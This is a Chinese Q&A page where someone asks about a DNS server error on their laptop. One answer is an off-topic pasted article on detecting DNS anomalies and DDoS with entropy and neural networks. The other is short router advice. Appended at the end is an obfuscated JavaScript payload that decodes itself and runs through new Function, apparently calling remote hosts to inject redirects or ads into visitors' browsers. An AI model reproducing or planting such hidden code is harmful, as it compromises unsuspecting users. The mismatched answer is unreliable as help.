我的笔记本联网的时候显示dns服务器异常,这是网络服务商的问题还是我的本设置有问题?

2025-02-20 12:16:34
推荐回答(2个)
回答1:

、背景

域名系统(Domain Name System,DNS)是互联网的重要基础设施之一,负责提供域名和IP地址之间的映射和解析,是网页浏览、电子邮件等几乎所有互联网应用中的关键环节。因此,域名系统的稳定运行是实现互联网正常服务的前提。近年来,针对域名系统的网络攻击行为日益猖獗,DNS滥用现象层出不穷,再加上DNS协议本身固有的局限性,域名系统的安全问题正面临着严峻的考验。如何快速有效的检测域名系统的行为异常,避免灾难性事件的发生,是当今域名系统乃至整个互联网所面临的一个重要议题。

DNS服务器通过对其所接收的DNS查询请求进行应答来实现对外域名解析服务,因此DNS查询数据流直接反映了DNS服务器对外服务的整个过程,通过对DNS流量异常情况的检测可以对DNS服务器服务状况进行有效的评估。由于导致DNS流量异常的原因是多方面的,有些是由针对DNS服务器的网络攻击导致的,有些是由于DNS服务系统的软件缺陷或配置错误造成的。不同的原因所引起的DNS流量异常所具备的特征也各不相同,这给DNS流量异常检测带来了诸多困难。

目前,在DNS异常流量检测方面,比较传统的方法是对发往DNS服务器端的DNS查询请求数据流中的一个或多个测量指标进行实时检测,一旦某时刻某一指标超过规定的阈值,即做出流量异常报警。这种方法虽然实现简单,但是仅仅通过对这些指标的独立测量来判定流量是否异常过于片面,误报率通常也很高,不能有效的实现异常流量的检测。

近年来,随着模式识别、数据挖掘技术的发展,开始有越来越多的数据模型被引入到DNS异常流量检测领域,如在[Tracking]中,研究人员通过一种基于关联特征分析的检测方法,来实现对异常DNS服务器的识别和定位;[Context]则引入了一种上下文相关聚类的方法,用于DNS数据流的不同类别的划分;此外,像贝叶斯分类[Bayesian]、时间序列分析[Similarity]等方法也被先后引入到DNS异常流量检测中来。

不难发现,目前在DNS异常流量检测方面,已有诸多可供参考利用的方法。但是,每种方法所对应的应用场合往往各不相同,通常都是面向某种特定的网络攻击活动的检测。此外,每种方法所采用的数据模型往往也比较复杂,存在计算代价大,部署成本高的弊端。基于目前DNS异常流量检测领域的技术现状,本文给出了两种新型的DNS流量异常检测方法。该两种方法能够有效的克服目前DNS异常流量检测技术所存在的弊端,经验证,它们都能够对DNS流量异常实施有效的检测。

2、具体技术方案

1)利用Heap’sLaw检测DNS流量异常

第一种方法是通过利用Heap’s定律来实现DNS流量异常检测。该方法创新性的将DNS数据流的多个测量指标进行联合分析,发现它们在正常网络状况下所表现出来的堆积定律的特性,然后根据这种特性对未来的流量特征进行预测,通过预测值和实际观测值的比较,实现网络异常流量实时检测的目的。该方法避免了因为采用某些独立测量指标进行检测所导致的片面性和误报率高的缺点,同时,该方法具有计算量小,部署成本低的特点,特别适合部署在大型DNS服务器上。

堆积定律(Heap’sLaw)[Heap’s]最早起源于计算语言学中,用于描述文档集合中所含单词总量与不同单词个数之间的关系:即通过对大量的英文文档进行统计发现,对于给定的语料,其独立的单词数(vocabulary的size)V大致是语料大小N的一个指数函数。随着文本数量的增加,其中涉及的独立单词(vocabulary)的个数占语料大小的比例先是突然增大然后增速放缓但是一直在提高,即随着观察到的文本越来越多,新单词一直在出现,但发现整个字典的可能性在降低。

DNS服务器通过对其所接收的DNS查询请求进行应答来实现对外域名解析服务。一个典型的DNS查询请求包由时间戳,来源IP地址,端口号,查询域名,资源类型等字段构成。我们发现,在正常网络状况下,某时间段内DNS服务器端所接收的DNS查询请求数和查询域名集合的大小两者间遵循堆积定律的特性,同样的,DNS查询请求数和来源IP地址集合的大小两者间也存在这种特性。因此,如果在某个时刻这种增长关系发生突变,那么网络流量发生异常的概率也会比较高。由于在正常网络状况下DNS服务器端所接收的查询域名集合的大小可以根据这种增长关系由DNS查询请求数推算得到。通过将推算得到的查询域名集合大小与实际观测到的查询域名集合的大小进行对比,如果两者的差值超过一定的阈值,则可以认为有流量异常情况的发生,从而做出预警。类似的,通过将推算得到的来源IP地址集合大小与实际观测到的来源IP地址集合的大小进行对比,同样可以达到异常流量检测的目的。

由于DNS流量异常发生时,DNS服务器端接收的DNS查询请求通常会异常增多,但是单纯凭此就做出流量异常的警报很可能会导致误报的发生。此时就可以根据观测查询域名空间大小的相应变化情况来做出判断。如果观测到的域名空间大小与推算得到的预测值的差值在允许的阈值范围之内,则可以认定DNS查询请求量的增多是由于DNS业务量的正常增长所致。相反,如果观测到的域名空间大小未发生相应比例的增长,或者增长的幅度异常加大,则做出流量异常报警。例如,当拒绝服务攻击(DenialofService)发生时,攻击方为了降低本地DNS缓存命中率,提高攻击效果,发往攻击对象的查询域名往往是随机生成的任意域名,这些域名通常情况下不存在。因此当该类攻击发生时,会导致所攻击的DNS服务器端当前实际查询域名空间大小异常增大,与根据堆积定律所推算出预测值会存在较大的差距,即原先的增长关系会发生突变。如果两者间的差距超过一定的阈值,就可以据此做出流量异常报警。

通过在真实数据上的测试和网络攻击实验的模拟验证得知,该方法能够对常见的流量异常情况进行实时高效的检测。

2)利用熵分析检测DDoS攻击

通过分析各种网络攻击数据包的特征,我们可以看出:不论DDoS攻击的手段如何改进,一般来说,各种DDoS工具软件所制造出的攻击都要符合如下两个基本规律:

1、攻击者制造的攻击数据包会或多或少地修改包中的信息;

2、攻击手段产生的攻击流量的统计特征不可能与正常流量一模一样。

因此,我们可以做出一个大胆的假设:利用一些相对比较简单的统计方法,可以检测出专门针对DNS服务器的DDoS攻击,并且这中检测方法也可以具有比较理想的精确度。

“熵”(Entropy)是德国物理学家克劳修斯(RudolfClausius,1822~1888)在1850年提出的一个术语,用来表示任何一种能量在空间中分布的均匀程度,也可以用来表示系统的混乱、无序程度。信息理论创始人香农(ClaudeElwoodShannon,1916~2001)在1948年将熵的概念引入到信息论中,并在其经典著作《通信的数学原理》中提出了建立在概率统计模型上的信息度量,也就是“信息熵”。熵在信息论中的定义如下:

如果在一个系统S中存在一个事件集合E={E1,E2,…,En},且每个事件的概率分布P={P1,P2,…,Pn},则每个事件本身所具有的信息量可由公式(1)表示如下:    

熵表示整个系统S的平均信息量,其计算方法如公式(2)所示:    

在信息论中,熵表示的是信息的不确定性,具有高信息度的系统信息熵是很低的,反过来低信息度系统则具有较高的熵值。具体说来,凡是导致随机事件集合的肯定性,组织性,法则性或有序性等增加或减少的活动过程,都可以用信息熵的改变量这个统一的标尺来度量。熵值表示了系统的稳定情况,熵值越小,表示系统越稳定,反之,当系统中出现的不确定因素增多时,熵值也会升高。如果某个随机变量的取值与系统的异常情况具有很强的相关性,那么系统异常时刻该随机变量的平均信息量就会与系统稳定时刻不同。如果某一时刻该异常情况大量出现,则系统的熵值会出现较大幅度的变化。这就使我们有可能通过系统熵值的变化情况检测系统中是否存在异常现象,而且这种强相关性也使得检测方法能够具有相对较高的准确度。

将熵的理论运用到DNS系统的DDoS攻击检测中来,就是通过测量DNS数据包的某些特定属性的统计特性(熵),从而判断系统是否正在遭受攻击。这里的熵值提供了一种对DNS的查询数据属性的描述。这些属性包括目标域名长度、查询类型、各种错误查询的分布以及源IP地址的分布,等等。熵值越大,表示这些属性的分布越随机;相反,熵值越小,属性分布范围越小,某些属性值出现的概率高。在正常稳定运行的DNS系统中,如果把查询数据作为信息流,以每条DNS查询请求中的某种查询类型的出现作为随机事件,那么在一段时间之内,查询类型这个随机变量的熵应该是一个比较稳定的值,当攻击者利用DNS查询发起DDoS攻击时,网络中会出现大量的攻击数据包,势必引起与查询类型、查询源地址等相关属性的统计特性发生变化。即便是黑客在发动攻击时,对于发送的查询请求的类型和数量进行过精心设计,可以使从攻击者到目标服务器之间某一路径上的熵值维持在稳定的水平,但绝不可能在所有的路径上都做到这一点。因此通过检测熵值的变化情况来检测DNS系统中异常状况的发生,不仅是一种简便可行的方案,而且还可以具有很好的检测效果。

DNS系统是通过资源记录(ResourceRecord,RR)来记录域名和IP地址信息的,每个资源记录都有一个记录类型(QType),用来标识资源记录所包含的信息种类,如A记录表示该资源记录是域名到IP地址的映射,PTR记录IP地址到域名的映射,NS记录表示域名的授权信息等,用户在查询DNS相关信息时,需要指定相应的查询类型。按照前述思想,我们可以采用DNS查询数据中查询类型的出现情况作为随机事件来计算熵的变化情况,从而检测DDoS攻击是否存在。检测方法的主要内容如图1所示。可以看出,通过比较H1和H2之间的差别是否大于某一个设定的阈值,可以判定系统是否正在遭受DDoS攻击。随着查询量窗口的不断滑动,这种比较会随着数据的不断更新而不断继续下去。检测算法的具体步骤如下所示:

1、设定一个查询量窗口,大小为W,表示窗口覆盖了W条记录。

2、统计窗口中出现的所有查询类型及其在所属窗口中出现的概率,根据公式(2)计算出该窗口的熵H1。 

图1熵分析检测方法

3、获取当前窗口中第一条查询记录所属的查询类型出现的概率,求出该类型所对应的增量

4、将窗口向后滑动一条记录,此时新窗口中的第一条记录为窗口滑动前的第二条记录。

5、获得窗口移动过程中加入的最后一条记录所代表的查询类型在原窗口中出现的概率以及对应的增量

6、计算新窗口中第一条记录所对应的查询类型出现在新窗口中出现的概率,以及对应的增量

7、计算新窗口中最后一条记录所属的查询类型在当前窗口出现的概率以及对应的增量

8、根据前面的结果计算窗口移动后的熵:

重复步骤2至步骤8的过程,得到一系列的熵值,观察熵值的变化曲线,当熵值曲线出现剧烈波动时,可以断定此时的DNS查询中出现了异常。

窗口的设定是影响检测算法的一个重要因素,窗口越大,熵值的变化越平缓,能够有效降低误检测的情况发生,但同时也降低了对异常的敏感度,漏检率上升;反之,能够增加检测的灵敏度,但准确性相应的会降低。因此,窗口大小的选择,需要根据实际中查询速率的大小进行调整。

2009年5月19日,多省市的递归服务器由于收到超负荷的DNS查询而失效,中国互联网出现了大范围的网络瘫痪事故,这起事故可以看作是一起典型的利用DNS查询发起的分布式拒绝服务攻击,这种突发的大量异常查询混入到正常的DNS查询中,必然会使DNS查询中查询类型的组成发生变化。我们利用从某顶级结点的DNS权威服务器上采集到的2009年5月19日9:00-24:00之间的查询日志,来检验算法是否能够对DNS中的异常行为做出反应。图2和图3分别是窗口大小为1,000和10,000时所得到的熵变化曲线,图4是该节点的查询率曲线。 

图2窗口大小为1,000时熵的变化情况  

图3窗口大小为10,000时熵的变化情况  

图4查询率曲线

从图2和图3中可以发现,大约从16:00时开始,熵值剧烈上升,这是由于此时系统中查询类型为A和NS的查询请求大量涌入,打破了系统原有的稳定态势,在经历较大的波动之后,又回复到一个稳定值。随着系统中缓存失效的递归服务器不断增多,该根服务器收到的异常数据量逐渐增大,在16:45左右熵值达到一个较低点,此时系统中已经混入了大量的异常查询数据。由于各省递归服务器的缓存设置的不一致,不断的有递归服务器崩溃,同时不断缓存失效的递归服务器加入,一直到21:00左右,这种异常查询量到达峰值,表现为熵值到达一个极低的位置,随着大批递归服务器在巨大的压力下瘫痪,查询数据的组成再次发生剧烈波动,接下来随着大面积断网的发生,异常查询无法到达该根服务器,熵值在经历波动之后又重新回到较稳定的状态,图4中的流量变化也证实了这一点。

图2和图3分别将查询窗口设为1,000和10,000,对比两图可以看出,图2中的熵值变化较为频繁,反映出对DNS异常更加敏感,但同时误检测的几率也较高,图3中熵值的变化相对平缓,对异常情况敏感程度较低,同时误检率也相对较低。

上述例子表明该方法能够及时发现DNS查询中针对DNS服务器的DDoS攻击。将该算法应用到DNS查询流量的实时监测中,可以做到准实时的发现DNS异常从而能够及早采取应对措施。此外,结合使用错误查询类型或者源IP地址等其他属性的分布来计算熵,或是采用时间窗口划分流量等,可以进一步提高异常检测的准确率。

3)利用人工神经网络分类器检测DDoS攻击

针对DDoS攻击检测这样一个典型的入侵检测问题,可以转换为模式识别中的二元分类问题。利用人工神经网络分类器和DNS查询数据可以有效检测针对DNS名字服务器的DDoS攻击。通过分析DNS权威或者递归服务器的查询数据,针对DDoS攻击在日志中所表现出来的特性,提取出若干特征向量,这些特征向量用作分类器的输入向量。分类器选择使用多层感知器,属于神经网络中的多层前馈神经网络。人工神经网络在用于DDoS攻击检测时具有以下显著优点:

1、灵活性。能够处理不完整的、畸变的、甚至非线性数据。由于DDoS攻击是由许多攻击者联手实施的,因此以非线性的方式处理来自多个数据源的数据显得尤其重要;

2、处理速度。神经网络方法的这一固有优势使得入侵响应可以在被保护系统遭到毁灭性破坏之前发出,甚至对入侵行为进行预测;

3、学习性。该分类器的最大优点是能够通过学习总结各种攻击行为的特征,并能识别出与当前正常行为模式不匹配的各种行为。

由于多层感知器具有上述不可替代的优点,因此选择它作为分类器。分类器的输出分为“服务正常”和“遭受攻击”两个结果,这个结果直接反应出DNS服务器是否将要或者正在遭受DDoS攻击。如果检测结果是“遭受攻击”,则相关人员可以及时采取措施,避免攻击行为的进一步发展。

图5DDoS攻击检测

如图5所示,本检测方法主要分为特征提取、模型训练和线上分类三个阶段。在特征提取阶段,需要利用DNS查询数据中已有的信息,结合各种DNSDDoS攻击的特点,提取出对分类有用的特征。模型训练阶段是通过大量的特征数据,模拟出上百甚至上千的DDoS攻击序列,对多层感知器进行训练,多层感知器在训练过程中学习攻击行为的特征,增强识别率。线上分类属于应用阶段,利用软件实现将本方法部署在DNS权威或递归服务器上。通过实时读取DNS查询数据,并将经过提取的特征输入到多层感知器中,就可以快速地识别出本服务器是否将要或正在遭受DDoS攻击,以便采取进一步防范措施。

多层感知器分类的精确率,在很大程度上取决于作为输入的特征向量是否能够真正概括、体现出DDoS攻击的特征。本方法通过仔细分析各种DNSDDoS攻击,以分钟为时间粒度提取出八种能够单独或者联合反映出攻击的特征:

1、每秒钟DNS查询量。这个特征通过对每分钟查询量进行平均获得;

2、每分钟时间窗口内查询率的标准差。公式如下:    

其中,n表示每分钟内查询数据中记录的秒数,Xi表示某一秒钟的查询量,m表示一分钟内每秒钟查询量的均值;

3、IP空间大小。表示一分钟内有多少个主机发出了DNS查询请求;

4、域名空间大小。表示一分钟内有多少域名被访问;

5、源端口设置为53的查询数量。由于某些针对DNS的DDoS攻击将源端口设置为53,因此对这一设置进行跟踪十分必要;

6、查询记录类型的熵的变化情况。公式如下:    

其中n表示时间窗口内记录类型的种类数,Pi表示某种记录类型出现的概率,Xi表示某种记录类型。

7、设置递归查询的比例。由于某些DDoS攻击会通过将查询设置为递归查询来增大攻击效果,因此对这一设置进行跟踪十分必要;

8、域名的平均长度。由于某些DDoS攻击所查询的域名是由程序随机产生的,这必然在查询数据上引起域名平均长度的变化,因此对域名的平均长度进行跟踪也很有意义。  

图6人工神经网络分类器的结构

神经网络分类器的大致结构如图6所示。如图中所示,本分类器分为三个层次,一个输入层,一个隐藏层,一个输出层。输入层包含八个单元,隐藏层包含20个单元,按照神经网络理论[3],隐藏层的单元数和输入层的单元数应满足以下关系:

 

H表示隐藏层单元数,N表示输入层单元数。输出层只含有一个单元,输出值包含两个:“1”表示“遭受攻击”,“0”表示“服务正常”。

本检测方法的关键技术点包括以下两个方面:

1、特征的抽取。这些特征必须能够充分、足够地反映DDos攻击发生时带来的查询状况的改变;

2、学习、分类方法。选取多层感知器作为分类器,设计调整了该分类器的具体结构和相关参数,并利用后向传播算法对分类器进行训练。通过将DDoS攻击检测问题转化为包含“服务正常”和“遭受攻击”两种类别的二元分类问题,能够有效地对DNSDDoS攻击进行实时检测。

回答2:

你们用的是不是通过学校机房分配的网络?有没有用路由器?如果是铁通网线直接接入的,有路由器,在路由设置时,选中自动分配地址选项;电脑不要设IP地址,就不会存在这个问题了。如果要设IP地址,可用211.98.4.1这个DNS地址试试。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();